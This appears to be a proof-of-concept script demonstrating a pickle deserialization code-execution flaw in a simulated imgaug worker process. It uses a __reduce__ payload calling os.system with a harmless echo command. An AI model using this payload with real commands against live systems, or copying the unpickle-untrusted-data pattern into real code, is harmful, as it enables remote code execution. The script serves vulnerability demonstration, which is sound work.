Vulnerable code sample

import pickle
import os
import multiprocessing

# This class creates a malicious object that executes a command when deserialized.
class RemoteCodeExecutor:
    def __reduce__(self):
        # For this demonstration, we use a safe 'echo' command.
        # An attacker would use a more malicious command.
        cmd = 'echo "VULNERABLE: Arbitrary code executed by the worker process."'
        return (os.system, (cmd,))

# This function simulates the vulnerable worker method in imgaug's multicore.py.
# It gets data from a queue and deserializes it without any validation.
def vulnerable_worker(data_queue):
    # The worker receives pickled data from the queue.
    pickled_data = data_queue.get()
    
    # The vulnerability: pickle.loads() is called on the untrusted data,
    # leading to code execution via the __reduce__ method of the malicious object.
    pickle.loads(pickled_data)

if __name__ == '__main__':
    # A multiprocessing queue is created. In a real scenario, an attacker
    # would need a way to inject data into this queue.
    q = multiprocessing.Queue()

    # 1. The attacker creates a malicious payload.
    malicious_payload = pickle.dumps(RemoteCodeExecutor())

    # 2. The attacker places the malicious payload onto the queue.
    q.put(malicious_payload)

    # 3. The application starts the vulnerable worker process, which
    # will consume the malicious data from the queue.
    worker_process = multiprocessing.Process(target=vulnerable_worker, args=(q,))
    worker_process.start()
    worker_process.join()